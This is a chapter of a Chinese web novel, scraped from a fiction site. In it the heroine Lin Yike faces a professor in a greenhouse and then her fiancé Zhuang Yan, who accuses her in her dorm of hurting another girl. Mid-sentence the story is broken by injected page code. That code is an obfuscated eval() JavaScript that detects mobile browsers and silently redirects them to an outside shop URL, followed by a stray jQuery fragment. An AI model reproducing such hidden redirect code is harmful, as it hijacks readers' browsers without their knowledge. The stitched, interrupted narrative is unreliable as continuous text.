文趣网 > 都市小说 > 炮灰主角反派全不按剧情走 > 19. 庄宴来到她的宿舍
    陈茵茵转身就跑。

    校服裙摆在风中扬起,很快消失在温室门口。

    脚步声越来越急促,越来越远。

    直到什么都听不见。

    林亦可站在原地,看着陈茵茵消失的方向,脸上的笑容慢慢收起来。

    她转身。

    温室里空无一人。

    贺教授不知道什么时候走了。

    “……”

    林亦可站在空荡荡的温室里,看着满室的银白色银叶草,忽然觉得有点好笑。

    诶,这一天天的,也是够够的

    从天亮到天黑,从被人骂到被人孤立。

    “都是些什么神人啊!”

    “我本来一直在防备陈茵茵,怕她教唆庄宴把我赶出学院,可现在看来……”

    “她根本就是个低端绿茶小饼干好不好!”

    “啧。”

    她蹲下来,捡起掉在地上的剪刀。

    然后她听到了掌声。

    “啪、啪、啪。”

    不急不慢,一下一下,像是在鼓掌,又像是在拍掉手上的灰尘。

    林亦可转头。

    贺教授靠在温室门口的柱子旁,双手插在白大褂的口袋里,金丝眼镜后面的眼睛带着一丝笑意。

    “这波反击漂亮。”他说。

    “你不是喜欢庄殿下吗?”贺教授学着林亦可的语气,惟妙惟肖,连歪头的角度都一模一样,“林同学,看不出你还挺会杀人诛心啊!”

    林亦可把剪刀捡起来,放在工具台上。

    “我什么都没做,”她耸耸肩,“只是陈述事实而已。”

    “陈述事实?”贺教授笑了,“你让她在‘庄宴知道她脚踏两条船’和‘现在就走’之间做选择。这可不是陈述事实,这是威胁。”

    “是建议。”林亦可纠正他。

    “行,建议。”贺教授笑得更大声了,“林同学,你有没有想过,万一她真的选庄宴呢?”

    林亦可把工具台收拾好,头也没抬:“她不会。”

    “这么确定?”

    “她刚才对伊森表白了。”林亦可终于抬起头,“一个刚对别的男人表白的女人,怎么敢让我那位高贵的未婚夫知道?”

    贺教授笑了一声,没再问。

    “不过……”林亦可放下手里的工具,转身看向贺教授,“贺教授,我很好奇。”

    “好奇什么?”

    “雷系异能者,为什么能凭空消失?”

    贺教授的表情没有什么变化,但他的眼睛微微眯了一下。

    “谁告诉你,伊森只有雷系异能了?”

    林亦可愣住了。

    “雷系不是他唯一的异能。”贺教授笑了,也学着林亦可耸了耸肩,“我什么都没说。”

    林亦可的眼睛慢慢瞪大。

    她玩《星辰恋曲》一整年,从未听说游戏里哪个角色拥有双异能。

    异能者的精神力有限,大家在战斗中都要避免精神力耗尽,否则只有死路一条。掌握技能、不过度使用,是异能者保护自己精神力的方式。

    本来她在药园里老是看到伊森动不动就消失,这样频繁使用精神力,感觉他很不爱惜自己。

    但谁能想到——

    这家伙不仅精神力充沛,而是充沛到能够支撑双异能的释放?!

    难怪伊森·海斯是《星辰恋曲》里最难对付的角色。

    0%的通关率不是没有原因的。

    “贺教授,”林亦可咽了咽口水,“那伊森学长的另一个异能是什么?”

    贺教授伸了个懒腰,从柱子边直起身。

    “秘密。”

    他朝温室门口走去,走了两步又停下来。

    “下课了,林同学也早点回去吧。”

    脚步声渐行渐远。

    林亦可站在温室里,看着满室的银白色银叶草,银白色的叶片在夕阳下泛着柔和的光。

    它们不会说话。

    但它们见证了一切。

    伊森、陈茵茵、庄宴——

    还有她。

    林亦可低头看着自己的手。

    D级木系。

    充电宝。

    植物培育。

    她。

    她能做什么?

    她不知道。

    但她知道,她不能输。

    输给陈茵茵,输给庄宴,输给那些等着看她笑话的人。

    不能。

    她拿起包,从里面取出一瓶营养剂喝了下去,晚餐就这么对付了。

    因为她实在不想去餐厅,对着那些喜欢说她是非的人吃饭,实在是倒胃口。

    林亦可走出温室,走出药园,往宿舍的方向走。

    夕阳的余晖洒在石板路上,把她的影子拉得很长。

    林亦可一个人慢慢朝前走,没有任何人陪她。

    但她的背脊挺得笔直。

    她其实不是很想回宿舍,但她又没有别的地方可以去。

    走进一年级女生宿舍大门,穿过庭院,在宿舍门口,她停了一下。

    这里还住着一个动不动就试探她的室友,龙薇薇。

    唉,这一天天的,从早到晚,没一个消停的地方!

    林亦可吐槽完后,用力地深呼吸。

    然后推门进去。

    结果……她竟然看到庄宴冷着脸坐在客厅沙发上!

    不儿,这货来干嘛啊?

    你们看不出我很烦吗?

    龙薇薇站在一旁,看到林亦可进来,冲她笑了一下。

    不是友好的笑。

    是——

    幸灾乐祸的笑。

    林亦可的手指收紧了一下。

    “庄殿下,你怎么来了?”今天实在是太累了,林亦可是真的不想应付这货。

    庄宴没有回答林亦可,而是偏头扫了龙薇薇一眼,她立刻识趣地拿起包,朝门口走去。

    路过林亦可身边的时候,她用口型无声地说了一句:“你完了。”

    然后笑着走了。

    门关上了。

    宿舍里只剩下林亦可和庄宴两个人。

    庄宴坐在沙发上,手指在扶手上轻点着,表情冷得像腊月寒冬。

    林亦可站在门口,没有走过去。

    如果可以的话,她也想开门出去。

    这破宿舍,不住也罢!

    “庄殿下找我有什么事?”林亦可真的懒得应付他,心里快速盘算着,怎么在最快的时间内把庄宴这货赶走。

    庄宴抬起头,看着她。

    “你今天对茵茵做了什么?”

    林亦可的手指微微收紧了。

    “我什么都没做。”

    “什么都没做?”庄宴站起来,“她今天去药园找你了,可回来的时候,她膝盖上带着伤,哭着跑回宿舍。你说你什么都没做?”

    哦,是来替陈茵茵兴师问罪的啊!

    林亦可看着他,没有立刻接话。

    “所以呢?”

    “所以?”庄宴的声音冷了几分,“她去找你,回来的时候受了伤。你不应该解释一下吗?”

    林亦可走进客厅,把包放在自己的桌上。

    “她要来找我,是她的自由。她受伤,那你应该问她,而不应该问我,我又不知道。”

    庄宴盯着她。

    “你不知道?”

    “不知道。”

    两个人对视。

    宿舍里的空气像是凝固了。

    庄宴的目光很冷,像是要把林亦可看穿。

    “林亦可,”庄宴的声音压低了,“茵茵是一个很单纯的女孩。她不会说谎,也不会害人。她受伤了,她说是去找你的时候受的伤。你说你不知道,你觉得我应该相信谁?”

    林亦可没忍住,笑了一声,是那种“你在说什么鬼话”的笑。

    “庄殿下,你觉得我应该在乎你相信谁吗?”

    庄宴的表情僵住了。

    “你来质问你的未婚妻,为什么另一个女人在找她的时候受了伤?”

    庄宴的脸色沉了下来。

    “林亦可,你知不知道你现在在说什么?”

    “知道。”林亦可的语气很平静,“我在陈述事实。”

    两个人对视。

    宿舍里的气压低得让人喘不过气。

    “庄殿下。”林亦可先开口了,“你有没有想过,陈茵茵来找我,可能是来找麻烦的?她受伤,可能是自找的?”

    庄宴的眼神冷得像冰。

    “茵茵不是那种人。”

    “你怎么知道?”

    “我了解她。”

    林亦可笑了。

    “你了解她?你认识她多久?三个月?还是两个月?”

    庄宴没有说话。

    “我认识你十几年。”林亦可的声音很轻,但每一个字都清清楚楚,“你觉得你了解我吗?”

    庄宴的表情终于有了一丝松动。

    不是愧疚,不是心虚,是不耐烦。

    “林亦可,我不想跟你吵架。”

    “我也没想跟你吵架。”林亦可放

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17609950|205911||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    下手臂,站直身体,“是你自己跑来找我的,哦,找我还是为了别的女人。”

    “那么庄殿下,你知道她为什么会受伤吗?”

    “你动的手。”

    “我没有。”林亦可的声音很平静,“她是自己摔倒的。”

    庄宴盯着她,像是在判断她有没有说谎。

    林亦可没有回避他的目光。

    两人对视了十几秒。

    “林亦可。”庄宴先移开目光,“我知道你不喜欢茵茵。但她是我的朋友,我不希望你再伤害她。”

    “我没有伤害她。”

    “她哭了。”

    “什么地狱笑话?”林亦可嗤了一声,“因为她哭了,你就要给我定罪?”

    “庄殿下。”林亦可的语气变了,不再平静,而是带着一丝冷意,“她哭了,所以一定是我的错?她受伤了,所以一定是我动的手?”

    庄宴皱眉。

    “你什么意思?”

    “我的意思是,这话实际上我已经说过了,那我再强调一次,你为什么不去问她?”

    庄宴沉默了。

    “还是说,”林亦可走到他面前,仰头看着他,“你根本就不想知道真相?你只是想找个人来怪罪?”

    庄宴的眼神闪了一下。

    “你……”

    “我什么都没做。”林亦可一字一顿地说,“爱信不信!”

    庄宴的表情变了。

    “你什么意思?”

    “你自己去问她。”林亦可转身,走到窗边,“我不是你的审讯对象。”

    庄宴站在那里,看着她的背影。

    窗外的夕阳照在她身上,脸镀上了一层柔和的光。

    她的肩膀很直,脊背很挺。

    “林亦可。”

    “还有事?”

    “你和那个伊森是怎么回事?”

    “不熟”

    “那他为什么——”

    “我说了,不熟。”林亦可转过身,看着他,“庄殿下,你来找我,是因为你的朋友哭了。你问过我了吗?”

    庄宴愣了一下。

    “问你什么?”

    “问我今天过得怎么样。”林亦可笑了笑,不是真心的笑,“问我为什么脸色这么差。问我有没有被人欺负。”

    庄宴张了张嘴,什么都没说出来。

    “没有。”林亦可替他说了,“你没有问我。你来了,坐在我的宿舍里,质问我为什么要伤害你的朋友。”

    她顿了顿。

    “庄殿下,我是你的未婚妻。”

    庄宴的睫毛颤了一下。

    “你记得我是你的未婚妻吗?”

    沉默。

    长久的沉默。

    窗外的夕阳慢慢落下,房间里暗了下来。

    没有人去开灯。

    “我知道了。”林亦可转过身,重新面对窗户,“你走吧。陈茵茵还在等你。”

    庄宴深吸一口气,似乎在压抑什么。

    “茵茵的事,我会查清楚。”他说,“如果是你做的,我不会放过你。”

    林亦可点了点头。

    “好。”

    “如果是别人做的,我也会查清楚。”

    “好。”

    “你——”

    “庄殿下。”林亦可打断他,“你说完了吗?”

    庄宴看着她。

    “说完了。”

    “那请回吧。我要休息了。”

    庄宴站在她面前,没有动。

    “林亦可,你真的变了。”他看着她的眼睛,“以前的你不会这样跟我说话。”

    “以前的我是你的未婚妻。”林亦可看着他,一字一句,“现在的我,还是你的未婚妻。但我不想再做以前的我了。”

    庄宴的眉头紧锁。

    他看着她,看了很久。

    久到宿舍里的灯光都暗了。

    然后他转身,走了。

    脚步声渐行渐远。

    门没有关。

    风吹进来,带着淡淡的花香。

    林亦可站在原地,看着敞开的门。

    过了很久,她走过去,把门关上。

    “咔哒。”

    锁住了。

    她靠在门板上,仰头看着天花板。

    灯管很亮。

    白得刺眼。

    她的眼眶有点热,估计是原主残留的感情吧。

    但她没有哭。

    因为她是林亦可,她才不会为这些人哭。

    ——不值得。